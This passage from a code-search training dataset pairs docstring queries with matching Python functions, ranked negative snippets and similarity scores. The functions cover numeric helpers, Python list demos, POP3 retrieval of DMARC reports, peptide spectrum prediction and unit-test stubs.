set(user2.neighbor_anime.keys()))
return sum(abs(anime.neighbor_users[user1] - anime.neighbor_users[user2])
for anime in common_an... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def manhattan_distance(x, y):\n return abs(x) + abs(y)",
"def get_manhattan_distance(coord_a, coord_b):\n return abs(coord_a.x - coord_b.x) + abs(coord_a.y - coord_b.y)",
"def manhattan_distance(x, y):\n return sum(abs(a - b) for a, b in zip(x, y))",
"def manhattan_distance(self):\n x... | [
"0.75152785",
"0.74619585",
"0.74610585",
"0.73415506",
"0.7291795",
"0.7279972",
"0.72796065",
"0.7268842",
"0.7196731",
"0.719276",
"0.7189901",
"0.71806836",
"0.71418595",
"0.71008533",
"0.70642215",
"0.7021635",
"0.7007767",
"0.6989743",
"0.69610256",
"0.693819",
"0.69203... | 0.82790244 | 0 |
Return the n_root of an value. | def _nth_root(value, n_root) -> float:
root_value = 1 / float(n_root)
return Decimal(value) ** Decimal(root_value) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _nth_root(value, n_root):\n return value ** (1 / n_root)",
"def n_root_of_x(n, x):\n if n==0:\n return 1\n \n return 1 if n==0 else x**(1.0/n)",
"def nth_root(n):\n def actual_root(x):\n \"\"\"Returns the nth root of x\"\"\"\n root = x ** (1/n)\n\tprint(x... | [
"0.79498124",
"0.713204",
"0.69784826",
"0.6963353",
"0.6950171",
"0.65510285",
"0.64180315",
"0.62910885",
"0.6132244",
"0.60917604",
"0.6063739",
"0.5974272",
"0.5893334",
"0.58790827",
"0.57461566",
"0.5711435",
"0.56959045",
"0.5678474",
"0.56771743",
"0.56726843",
"0.565... | 0.75039595 | 1 |
Return the square rooted value of the sum of squares of user review scores. | def _square_rooted(user: User, animes: set[Anime]) -> float:
return sqrt(sum([anime.neighbor_users[user] * anime.neighbor_users[user]
for anime in animes])) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def calc_rmse(self, data):\n res= data.score- data[['userid','itemid']].apply(lambda row:self.calc_score(row[0], row[1]),axis=1)\n res=[el**2 for el in np.array(res)]\n return np.sqrt(np.sum(res)/data.shape[0])",
"def root_mean_square_value( values ):\n return ma.sqrt(mean_square_value( v... | [
"0.67789346",
"0.6725351",
"0.67098415",
"0.6668904",
"0.66526634",
"0.650096",
"0.64910007",
"0.6392752",
"0.6374066",
"0.63549167",
"0.63388354",
"0.6285989",
"0.6280445",
"0.6243268",
"0.6229393",
"0.6226667",
"0.6225889",
"0.6224023",
"0.61846817",
"0.6182643",
"0.6182643... | 0.6883933 | 0 |
Using append() insert() remove() pop() extend() count() index() reverse() len() ... Also, "in" and "not in" operators can be used to search lists for the occurrence of a given element. | def demonstrate_list_methods():
john = ['John Lennon', 1940, True]
# john.append('Liverpool')
# print(john)
print(john.append('Liverpool'))
print(john)
john.insert(2, 'The Beatles')
print(john)
john.remove(1940)
print(john)
del john[True]
print(john)
john.extend(['Paul M... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def __contains__(self, elem):\n return elem in list(self)",
"def test_contains(self):\n s = djset()\n s.add([1, 2, 3])\n s.add([4, 5, 6])\n self.assertTrue(2 in s)\n self.assertTrue(5 in s)",
"def contains(self, other):",
"def contains(self, element):\n pass",... | [
"0.60959727",
"0.5751839",
"0.5720554",
"0.55933017",
"0.5549648",
"0.54963696",
"0.5443714",
"0.5430824",
"0.5384499",
"0.5320489",
"0.5310426",
"0.5304248",
"0.5287764",
"0.52701306",
"0.5247795",
"0.52417976",
"0.52148986",
"0.52148986",
"0.516982",
"0.51644474",
"0.513141... | 0.5912757 | 1 |
Using array.array() to build listbased numeric arrays. Demonstrating that lists and arrays are different types. | def demonstrate_arrays():
from array import array
a = array('i', [4, 2, 8, 9])
print(a)
print(type(a))
l = [4, 2, 8, 9]
print(l)
print(type(l)) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def numarray(a: list) -> list[float]:\n return [float(aa) for aa in a]",
"def basic_array_creation():\n print('From normal creation')\n arr: pa.Array = pa.array([1, 2, 3, 4, 5], type=pa.int8())\n print(arr)\n\n print('From pandas series')\n arr: pa.Array = pa.Array.from_pandas(pd.Series([1, 2, ... | [
"0.70484656",
"0.6914373",
"0.6910644",
"0.672295",
"0.6563476",
"0.64376646",
"0.6310567",
"0.6294734",
"0.62499875",
"0.6187154",
"0.6168736",
"0.61499",
"0.61470413",
"0.61454135",
"0.61355835",
"0.61354077",
"0.61266613",
"0.6124175",
"0.61011404",
"0.6092799",
"0.608155"... | 0.7440226 | 0 |
Creating an empty list and populating it with random values using random.seed() and random.randint() | def populate_empty_list():
from random import randint, seed
seed(56)
l = []
for i in range(100):
l.append(randint(0, 100))
print(l[34:56]) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create_list(self):\n\n\t\trandom_list = random.sample(range(0, 500), 10)\n\n\t\treturn random_list",
"def newList(self):\n lst = []\n count = 0\n while count < 52:\n lst.append(randint(1, 1500))\n count += 1\n return lst",
"def random():\n np.random.seed... | [
"0.73266876",
"0.7185752",
"0.68597156",
"0.6845599",
"0.68304396",
"0.68276584",
"0.68155515",
"0.68108755",
"0.6799451",
"0.67544883",
"0.6745315",
"0.674205",
"0.66945124",
"0.66901034",
"0.66744536",
"0.6666645",
"0.6641088",
"0.66403663",
"0.66161585",
"0.66082114",
"0.6... | 0.7981575 | 0 |
Showing examples of list comprehension. list comprehension over an array.array() list comprehension over a list of strings list comprehension with enumerate(), to find indices of all occurrences of an element in a list Using str() and join() in printing results. | def demonstrate_list_comprehension():
from array import array
a = array('i', [4, 2, 8, 9])
l = [i for i in a]
print(l)
l = [str(i) for i in a]
print(l)
print()
john = ['John', 'Lennon', 'Liverpool']
l = [s for s in john]
print(l)
print(', '.join(s for s in john))
print(... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _pick_elements(self,regexp_ind,array_list):\r\n new_array_list = [] #New list with elements matching regexp_ind\r\n array_indices = [] #Indices that matches the arrays in new_array_list and array_list\r\n\r\n array_index = 0\r\n for array in array_list:\r\n _new = []\r\n ... | [
"0.59395385",
"0.5903913",
"0.5900641",
"0.5863628",
"0.5819813",
"0.5662459",
"0.5627906",
"0.5608562",
"0.55847615",
"0.5488613",
"0.5387361",
"0.53513455",
"0.531568",
"0.53117836",
"0.52748054",
"0.52639985",
"0.5258652",
"0.52479535",
"0.5230476",
"0.52175987",
"0.517511... | 0.65372443 | 0 |
Yields document and labels concurrently | def train(self):
for doc, label in zip(self.train_docs(), self.train_labels()):
yield doc, label | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def iter_documents(self):\n raise NotImplementedError",
"def __iter__(self):\r\n for text in self.get_texts():\r\n yield self.dictionary.doc2bow(text, allow_update=False)",
"def _doc2vec_doc_stream(paths, n, tokenizer=word_tokenize, sentences=True):\n i = 0\n p = Progress()\n ... | [
"0.59345233",
"0.58938026",
"0.57813835",
"0.57674474",
"0.57280785",
"0.5700913",
"0.56669515",
"0.5642201",
"0.5626246",
"0.56216335",
"0.5612161",
"0.5595699",
"0.5554058",
"0.5533326",
"0.5528166",
"0.5516686",
"0.5511766",
"0.5447907",
"0.54181635",
"0.54145205",
"0.5397... | 0.6574284 | 0 |
Function that takes a counter and a set and returns the sum of counts for all items in that set | def number_in_set(c,s):
return sum(v for k,v in c.items() if k in s) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def countInSet(a, aSet):\n return sum(v for k, v in Counter(a).items() if k in aSet)",
"def sumSet(weightedSet):\n\tsum = 0\n\tfor example in weightedSet:\n\t\tsum += example.weight\n\treturn sum",
"def count(self, pset):\n return self._sets.count(pset)",
"def count(iterable):\n return sum(1 for... | [
"0.751714",
"0.6595445",
"0.6578135",
"0.63688713",
"0.63554883",
"0.62987095",
"0.62520295",
"0.61505234",
"0.611896",
"0.6113655",
"0.6109396",
"0.6081903",
"0.6042954",
"0.6038255",
"0.60293305",
"0.60198426",
"0.5956092",
"0.5953809",
"0.5915682",
"0.5913934",
"0.5906244"... | 0.68980134 | 1 |
Get the ingredient spec. | def spec(self):
return self._spec | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_input_spec(self):\r\n return self.input_spec",
"def find_ingredient(self, ingredient_str):\n return self.find_doc('ingredient', 'name', self.get_unique_ingredients_name(ingredient_str))",
"def _get_spec(self, requirement_name):\n return Spec(','.join(self.versions_spec[requirement_... | [
"0.6274449",
"0.6177592",
"0.60568184",
"0.60404813",
"0.59850353",
"0.5973417",
"0.5872426",
"0.58190626",
"0.5700041",
"0.5700041",
"0.56123567",
"0.55838734",
"0.55769014",
"0.55754685",
"0.5558199",
"0.5453096",
"0.5428837",
"0.5402059",
"0.5395059",
"0.5375218",
"0.53725... | 0.65218824 | 0 |
Sets the initial state of self, which includes the contents of sourceCollection, if it is present. | def __init__(self, sourceCollection = None):
self._size = 0
self._modCount = 0
if sourceCollection:
for item in sourceCollection:
self.add(item) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def __init__(self, sourceCollection = None):\n self._front = self._rear = None\n AbstractCollection.__init__(self, sourceCollection)",
"def source(self, source):\n\n self._source = source",
"def source(self, source):\n\n self._source = source",
"def source(self, source):\n\n ... | [
"0.6834638",
"0.61755556",
"0.61755556",
"0.61755556",
"0.61755556",
"0.61755556",
"0.61755556",
"0.61755556",
"0.6115388",
"0.5937697",
"0.58528554",
"0.58218473",
"0.5799573",
"0.5783457",
"0.57636255",
"0.575177",
"0.56940144",
"0.5668226",
"0.56664675",
"0.56180024",
"0.5... | 0.7065542 | 0 |
We will attempt to get the local timezone of the server running the module and use that. If we can't get the timezone then we will set the default to be UTC Linnux has been tested and other opersting systems should be OK. Failures cause assumption of UTC Windows is not supported and will assume UTC | def _get_local_tz(module, timezone='UTC'):
if platform.system() == 'Linux':
timedatectl = get_bin_path('timedatectl')
if timedatectl is not None:
rcode, stdout, stderr = module.run_command(timedatectl)
if rcode == 0 and stdout:
line = _findstr(stdout, 'Time zo... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _get_tz():\n return 'UTC'",
"def timezone():\n \n pass",
"def local_timezone() -> Timezone | FixedTimezone:\n return get_local_timezone()",
"def local_tz(self):\n return pytz.timezone(self.calendar.timezone)",
"def timezone():\n\n return time.timezone",
"def get_timezone():\n ... | [
"0.7593437",
"0.70392257",
"0.68582565",
"0.68310165",
"0.6800011",
"0.6789667",
"0.6762175",
"0.67572707",
"0.64839655",
"0.64839655",
"0.64839655",
"0.64839655",
"0.64839655",
"0.64839655",
"0.64839655",
"0.64839655",
"0.64839655",
"0.64839655",
"0.64839655",
"0.64839655",
... | 0.76198214 | 0 |
Connect to pop3 server and close the connection | def get_pop3_connectivity(self):
try:
if self.opt_use_ssl:
self.server = poplib.POP3_SSL(self.opt_pop3_server)
else:
self.server = poplib.POP3(self.opt_pop3_server)
except Exception as e:
raise Exception(
"Error connecti... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_pop3(self):\n self._endpointServerTest(\"pop3\", protocols.POP3Factory)",
"def connect_push(self):\n protocol, host, port = self.client_config.socket_host_port\n self.push_client = PushClient(host, port, (protocol == \"ssl\"))\n\n self.push_client.quote_changed = self.on_quot... | [
"0.6312033",
"0.5734185",
"0.5654881",
"0.5634933",
"0.56250674",
"0.56024295",
"0.557485",
"0.5563851",
"0.555122",
"0.5512034",
"0.549845",
"0.5483903",
"0.54780346",
"0.54713434",
"0.547061",
"0.54593366",
"0.5439628",
"0.5426821",
"0.5422101",
"0.54153687",
"0.5403732",
... | 0.7447212 | 0 |
Connect to pop3 server and return a list of ALL msg uids Unlike the IMAP equivalent filtering based on Subject is done elsewhere | def get_dmarc_messages(self):
messages = []
try:
if self.opt_use_ssl:
self.server = poplib.POP3_SSL(self.opt_pop3_server)
self.server.user(self.opt_global_account["username"])
self.server.pass_(self.opt_global_account["password"])
e... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_messages(user, password, server=\"pop.gmail.com\"):\n\n # define our connection\n pop_conn = poplib.POP3_SSL(server)\n pop_conn.user(user)\n pop_conn.pass_(password)\n\n # Get message tuples from server:\n tuples = [pop_conn.retr(i) for i in range(1, len(pop_conn.list()[1]) + 1)]\n pop... | [
"0.6295551",
"0.62364864",
"0.62362725",
"0.60055697",
"0.594121",
"0.5897799",
"0.58424914",
"0.5746784",
"0.5717757",
"0.56050134",
"0.55439585",
"0.5524731",
"0.5513999",
"0.54761916",
"0.5467063",
"0.54425406",
"0.54308563",
"0.54162484",
"0.5410898",
"0.5395196",
"0.5383... | 0.64419127 | 0 |
Return the full message bodies from the list of message uids but only if the subject matches Report domain | def get_dmarc_message_bodies(self, messages):
response = {}
for uid in messages:
self.helper.log_debug('get_dmarc_message_bodies: got uid "%s", using uid "%s"' % (uid, uid.split()[0]))
msg = "\n".join(self.byte2str(self.server.retr(uid.split()[0])[1]))
msgobj = email.... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def save_reports_from_message_bodies(self, response):\n filelist = []\n for uid, data in list(response.items()):\n if self.opt_validate_dkim:\n self.dkim_verify(data.get(b'RFC822',''), uid)\n msg = email.message_from_string(data.get(b'RFC822',''))\n if ... | [
"0.5849805",
"0.56086826",
"0.5588328",
"0.5531413",
"0.545257",
"0.5355394",
"0.53144324",
"0.52374667",
"0.519424",
"0.51788527",
"0.51319355",
"0.5126954",
"0.5124737",
"0.509778",
"0.50920707",
"0.50811964",
"0.50755876",
"0.50523406",
"0.50435853",
"0.50309765",
"0.50278... | 0.6986212 | 0 |
Write the selected message part to file | def write_part_to_file(self, uid, part):
filename = part.get_filename()
filename = os.path.join(self.tmp_dir, os.path.basename(filename))
try:
open(filename, 'wb').write(part.get_payload(decode=True))
except Exception as e:
raise Exception(
"Error ... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def write(self, message):\r\n os.write(self.wfid, message.encode('utf-8'))",
"def write(message):\n\n with open(str(path), 'a') as fp:\n fp.write(message)",
"def reply_message(self, message):\n\n message = str(message).format(self.path).encode('utf-8')\n self.wfile.write(message)",
"de... | [
"0.69103193",
"0.6654209",
"0.6527428",
"0.6521442",
"0.65000355",
"0.64810604",
"0.6317068",
"0.6307852",
"0.62915653",
"0.6230662",
"0.62092286",
"0.6196441",
"0.61899656",
"0.61898386",
"0.61615443",
"0.609231",
"0.609231",
"0.60873765",
"0.6013084",
"0.5990759",
"0.595590... | 0.67170376 | 1 |
Verify DKIM signature(s) from a given RFC822 message Currently only generated debug logging | def dkim_verify(self, msg, uid):
try:
obj = dkim.DKIM(msg)
except Exception as e:
self.helper.log_info(
'dkim_verify: exception verifying msg uid %s with %s' %
(uid, str(e)))
else:
sigheaders = [
(x, y) for x, y ... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def sign_and_verify(self, msg):\n ciphertext, tag = self.signer.encrypt_and_digest(msg.encode('utf-8'))\n plaintext = self.verifier.decrypt(ciphertext)\n try:\n self.verifier.verify(tag)\n print(\"The message is authentic: \", plaintext)\n except ValueError:\n ... | [
"0.6467025",
"0.6031846",
"0.5953838",
"0.5880111",
"0.5860588",
"0.58585465",
"0.5795354",
"0.5677047",
"0.56419563",
"0.5637088",
"0.56293523",
"0.56088346",
"0.5595094",
"0.5575109",
"0.5573037",
"0.55443174",
"0.553801",
"0.55234855",
"0.54802734",
"0.54794645",
"0.544948... | 0.73208284 | 0 |
Find xml, zip and gzip attachments in the response, and write them to disk Return a list of filenames that were written | def save_reports_from_message_bodies(self, response):
filelist = []
for uid, data in list(response.items()):
if self.opt_validate_dkim:
self.dkim_verify(data.get(b'RFC822',''), uid)
msg = email.message_from_string(data.get(b'RFC822',''))
if msg.is_mult... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def __get_files(self):\r\n \r\n files = []\r\n with requests.Session() as s:\r\n headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'}\r\n respons = s.get(self.__url, headers=headers).text\r\n soup = BeautifulSoup(respons, 'html.parser')\r\n ... | [
"0.5935676",
"0.5921422",
"0.590038",
"0.5832488",
"0.58300406",
"0.5676737",
"0.561249",
"0.55952454",
"0.55590147",
"0.5538954",
"0.55148673",
"0.5504614",
"0.5495929",
"0.54576784",
"0.54488444",
"0.5446717",
"0.5422017",
"0.5404831",
"0.54028255",
"0.5400352",
"0.5391549"... | 0.62589914 | 0 |
Check if a given mimetype is eligible for further processing Returns true of false | def check_eligible_mimetype(self, ctype, uid):
self.helper.log_debug(
'check_eligible_mimtype: checking content-type %s of msg uid %s' %
(ctype, uid))
if ctype == "application/zip":
return True
elif ctype == "application/gzip":
return True
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _check_mimetype(self):\n if self.mimetype in Config.aliases:\n mimetype = Config.aliases[self.mimetype]\n else:\n mimetype = self.mimetype\n expected_extensions = mimetypes.guess_all_extensions(mimetype,\n st... | [
"0.73119986",
"0.6826056",
"0.6730636",
"0.67149067",
"0.6682556",
"0.6661485",
"0.66420454",
"0.6575386",
"0.6550504",
"0.6504457",
"0.65020347",
"0.65004003",
"0.6454048",
"0.6454048",
"0.6450731",
"0.6439068",
"0.642226",
"0.6412332",
"0.64115924",
"0.63734996",
"0.6312490... | 0.7656266 | 0 |
Save checkpointing info for a given uid and msg struct | def save_check_point(self, uid, msg):
key = "%s_%s_%s" % (self.opt_pop3_server,
self.opt_global_account["username"], uid)
date = email.utils.mktime_tz(email.utils.parsedate_tz(msg.get('Date')))
value = "input=dmarc_pop, server=%s, username=%s, uid=%s, timestamp_utc=%d... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def save_to_checkpoint(self, chkpt):\n chkpt[self.name] = self.state_dict()",
"def checkpoint():",
"def save_checkpoint(self, value):\n try:\n __method_name = inspect.currentframe().f_code.co_name\n self.state.post(json.dumps({\"from\": value}))\n self.applogger.i... | [
"0.631536",
"0.6279925",
"0.6237221",
"0.6183434",
"0.6126063",
"0.597565",
"0.59595466",
"0.5867066",
"0.584878",
"0.5820152",
"0.5778265",
"0.5730842",
"0.57096046",
"0.5707325",
"0.5689171",
"0.5687834",
"0.56688297",
"0.56503177",
"0.56482583",
"0.5623402",
"0.5612697",
... | 0.76725084 | 0 |
The cols and left_cols record the index of header. Replace header based on the change between left_cols and cols. | def _reset_header(self):
new_header = []
for col_name in self.header:
is_left = self.left_cols.get(col_name)
if is_left:
new_header.append(col_name)
self.header = new_header | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def header_data_columns(head_line, data_cols, header):\n\n colnames = head_line.split(\",\")\n\n # Remove triling blancks and end of lines\n colnames = [x.strip() for x in colnames]\n\n # Difference between columns in the header and in the data\n diff = len(data_cols) - len(colnames)\n\n if diff ... | [
"0.59891915",
"0.5937853",
"0.5717306",
"0.56989044",
"0.55527014",
"0.55497086",
"0.554682",
"0.55163383",
"0.5515728",
"0.5490882",
"0.54661727",
"0.5440973",
"0.5416742",
"0.5407916",
"0.5379768",
"0.53601754",
"0.53495514",
"0.5340874",
"0.5312372",
"0.53079784",
"0.53036... | 0.7232093 | 0 |
Function for each worker to process a list of peptides. The models are chosen based on model. PTMmap, Ntermmap and Ctermmap determine the modifications applied to each peptide sequence. Returns the predicted spectra for all the peptides. | def process_peptides(worker_num, data, afile, modfile, modfile2, PTMmap, model):
ms2pip_pyx.ms2pip_init(afile, modfile, modfile2)
# Prepare output variables
pepid_buf = []
peplen_buf = []
charge_buf = []
mz_buf = []
target_buf = None
prediction_buf = []
vector_buf = []
# trans... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def process_spectra(\n worker_num,\n data,\n spec_file,\n vector_file,\n afile,\n modfile,\n modfile2,\n PTMmap,\n model,\n fragerror,\n spectrum_id_pattern,\n):\n ms2pip_pyx.ms2pip_init(afile, modfile, modfile2)\n\n model_id = MODELS[model][\"id\"]\n peaks_version = MODEL... | [
"0.6704002",
"0.5983211",
"0.57653445",
"0.5711574",
"0.55658346",
"0.5487981",
"0.5443622",
"0.54285884",
"0.5412592",
"0.5407846",
"0.5374122",
"0.536485",
"0.536106",
"0.5355468",
"0.531436",
"0.5283513",
"0.5281439",
"0.52793396",
"0.52458423",
"0.5241992",
"0.5230075",
... | 0.7113193 | 0 |
Function for each worker to process a list of spectra. Each peptide's sequence is extracted from the mgf file. Then models are chosen based on model. PTMmap, Ntermmap and Ctermmap determine the modifications applied to each peptide sequence and the spectrum is predicted. Then either the feature vectors are returned, or... | def process_spectra(
worker_num,
data,
spec_file,
vector_file,
afile,
modfile,
modfile2,
PTMmap,
model,
fragerror,
spectrum_id_pattern,
):
ms2pip_pyx.ms2pip_init(afile, modfile, modfile2)
model_id = MODELS[model]["id"]
peaks_version = MODELS[model]["peaks_version... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def process_peptides(worker_num, data, afile, modfile, modfile2, PTMmap, model):\n\n ms2pip_pyx.ms2pip_init(afile, modfile, modfile2)\n\n # Prepare output variables\n pepid_buf = []\n peplen_buf = []\n charge_buf = []\n mz_buf = []\n target_buf = None\n prediction_buf = []\n vector_buf =... | [
"0.6365543",
"0.6278067",
"0.61542547",
"0.5983721",
"0.5951358",
"0.59303653",
"0.5856723",
"0.5846219",
"0.58419764",
"0.5743628",
"0.56974417",
"0.56961113",
"0.56395173",
"0.56236494",
"0.5586922",
"0.5574862",
"0.556438",
"0.55371463",
"0.55307126",
"0.55262214",
"0.5522... | 0.7796184 | 0 |
Take a list and return a list containing num_cpu smaller lists with the spectrum titles/peptides that will be split across the workers | def prepare_titles(titles, num_cpu):
# titles might be ordered from small to large peptides,
# shuffling improves parallel speeds
shuffle(titles)
split_titles = [
titles[i * len(titles) // num_cpu : (i + 1) * len(titles) // num_cpu]
for i in range(num_cpu)
]
logger.debug(
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def list_cpus():\n online_cpus = osutil.get_online_cpus()\n offline_cpus = POSSIBLE_CPUS - online_cpus\n print(\"Online: CPU \", shorten_cores(online_cpus))\n print(\"Offline: CPU \", shorten_cores(offline_cpus))",
"def cpu_online_map():\r\n cpuinfo = get_cpuinfo()\r\n cpus = []\r\n for cpu ... | [
"0.616638",
"0.61011267",
"0.6081063",
"0.5938948",
"0.5843389",
"0.5820567",
"0.5801597",
"0.57924116",
"0.5734133",
"0.5724693",
"0.57013386",
"0.56822085",
"0.5660021",
"0.5649293",
"0.56469005",
"0.5628331",
"0.56077605",
"0.560498",
"0.5600769",
"0.557037",
"0.5559987",
... | 0.6506117 | 0 |
Takes a peptide sequence and a set of modifications. Returns the modified version of the peptide sequence, c and nterm modifications. This modified version are hard coded in ms2pipfeatures_c.c for now. | def apply_mods(peptide, mods, PTMmap):
modpeptide = np.array(peptide[:], dtype=np.uint16) # Copy to avoid inplace changes
if mods != "-":
l = mods.split("|")
if len(l) % 2 != 0:
raise InvalidModificationFormattingError(mods)
for i in range(0, len(l), 2):
tl = l[i... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def define_seq_modifications():\n modifications = {\n '0': {\n 'colour': 'k',\n 'name': 'unmodified',\n },\n '1': {\n 'colour': 'firebrick',\n 'name': 'succinylated',\n 'target_res': 'LYS',\n 'replace_res': 'GLU',\n }\... | [
"0.54200894",
"0.53885895",
"0.5254579",
"0.51519775",
"0.5098741",
"0.5096374",
"0.5024336",
"0.5018911",
"0.49383074",
"0.49299872",
"0.49182498",
"0.48595127",
"0.48558405",
"0.48059258",
"0.48001656",
"0.47948107",
"0.47804606",
"0.47686902",
"0.47572595",
"0.4755383",
"0... | 0.6112871 | 0 |
Test case for create10 | def test_create10(self):
pass | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_create(self):\n pass",
"def test_create_run(self):\n pass",
"def test_create_unexpected_problem(self):\n pass",
"def create():",
"def create():",
"def create():\n pass",
"def test_0_0_create(self):\n\n self.assertTrue(self.b1)",
"def test_create_record(self):\n... | [
"0.73249733",
"0.7319273",
"0.69483125",
"0.6945639",
"0.6945639",
"0.6840163",
"0.6767891",
"0.67604375",
"0.669465",
"0.66335654",
"0.65506196",
"0.64774275",
"0.6434738",
"0.6417117",
"0.6386177",
"0.6376453",
"0.6376453",
"0.627494",
"0.6224595",
"0.6221611",
"0.6197326",... | 0.8980569 | 0 |
Test case for create_bulk_academic | def test_create_bulk_academic(self):
pass | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_get_Student_bulk(self):\n school_ids = self.create_School(2,20)\n url = '/students'\n for i in range(10):\n data = {'first_name': 'Poompatai', 'last_name': 'Puntitpong','age': 20, 'nationality': 'Thailand', 'school': school_ids[0]}\n response = self.client.post(u... | [
"0.68857133",
"0.67814386",
"0.66630286",
"0.6434951",
"0.6303845",
"0.6181681",
"0.6117092",
"0.6060836",
"0.60593385",
"0.6038709",
"0.60217255",
"0.6008689",
"0.5981003",
"0.5978704",
"0.59675664",
"0.59448993",
"0.59369195",
"0.59315854",
"0.5929955",
"0.59234595",
"0.588... | 0.95521 | 0 |
Test case for delete7 | def test_delete7(self):
pass | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_delete1(self):\n pass",
"def test_delete_run(self):\n pass",
"def delete():",
"def test_delete(self):\n pass",
"def test_delete_case(self):\n pass",
"def test_delete_occurrence(self):\n pass",
"def test_delete_item_using_delete(self):\n pass",
"def t... | [
"0.7936488",
"0.783981",
"0.7695349",
"0.76563674",
"0.7418453",
"0.7413371",
"0.7213009",
"0.7137496",
"0.7116104",
"0.7084131",
"0.70804936",
"0.707765",
"0.70765734",
"0.7072393",
"0.69517624",
"0.69384027",
"0.6938276",
"0.6938002",
"0.6929521",
"0.6919627",
"0.69065815",... | 0.8929304 | 0 |
Test case for get_details7 | def test_get_details7(self):
pass | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_details(self):",
"def test_data_object_get_details(self):\n pass",
"def test_get_details(self):\n restaurant_id = 23917\n with self.app.app_context():\n details = ordrin.get_details(restaurant_id)\n\n self.assertEquals(details['name'], 'Test Merchant 20130315',\n ... | [
"0.8004347",
"0.79477316",
"0.76338315",
"0.7213044",
"0.7199065",
"0.71456754",
"0.7099346",
"0.70801014",
"0.7073461",
"0.69762564",
"0.68881756",
"0.67643636",
"0.66935813",
"0.66855335",
"0.66855335",
"0.66855335",
"0.66723365",
"0.655939",
"0.6510815",
"0.6490076",
"0.64... | 0.8986665 | 0 |
Test case for get_group_class_subject_assignments | def test_get_group_class_subject_assignments(self):
pass | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_assignments(self) -> List :\n return self.assignments",
"def test_groups_get(self):\n pass",
"def test_groups_get(self):\n pass",
"def test_get_groups(self):\n pass",
"def test_get_groups(self):\n pass",
"def testAssignClassifications(self):\n classifications... | [
"0.59990984",
"0.58262056",
"0.58262056",
"0.5773726",
"0.5773726",
"0.57599586",
"0.5723594",
"0.5658932",
"0.5651273",
"0.5588515",
"0.55587524",
"0.54874307",
"0.5484704",
"0.54762024",
"0.54645294",
"0.5462985",
"0.54540384",
"0.5441348",
"0.54135805",
"0.541294",
"0.5402... | 0.9535195 | 0 |
Test case for get_group_class_types | def test_get_group_class_types(self):
pass | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_group_types(self):\r\n pass",
"def test_get_types(self):\n pass",
"def get_class(self, grp, class_type=\"NXcollection\"):\n coll = [grp[name] for name in grp\n if isinstance(grp[name], h5py.Group) and\n self.get_attr(grp[name], \"NX_class\") == class_t... | [
"0.7822249",
"0.69615924",
"0.6546104",
"0.63630015",
"0.6300565",
"0.6300565",
"0.608619",
"0.608619",
"0.59768003",
"0.5951271",
"0.58344716",
"0.5772014",
"0.57074475",
"0.5700594",
"0.56738675",
"0.5659094",
"0.5655538",
"0.56528234",
"0.5627371",
"0.56217194",
"0.5607421... | 0.9459802 | 0 |
Test case for get_list8 | def test_get_list8(self):
pass | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_get_list(self):\n pass",
"def test_list(self):\n pass",
"def test_list(self):\n pass",
"def test_list_field():",
"def test_kyc_get_legal_list(self):\n pass",
"def test_getlist(self):\n flags = flag_lists(appversions={\"code\": \"fx1.0\"})\n eq_(flags, {(... | [
"0.7849026",
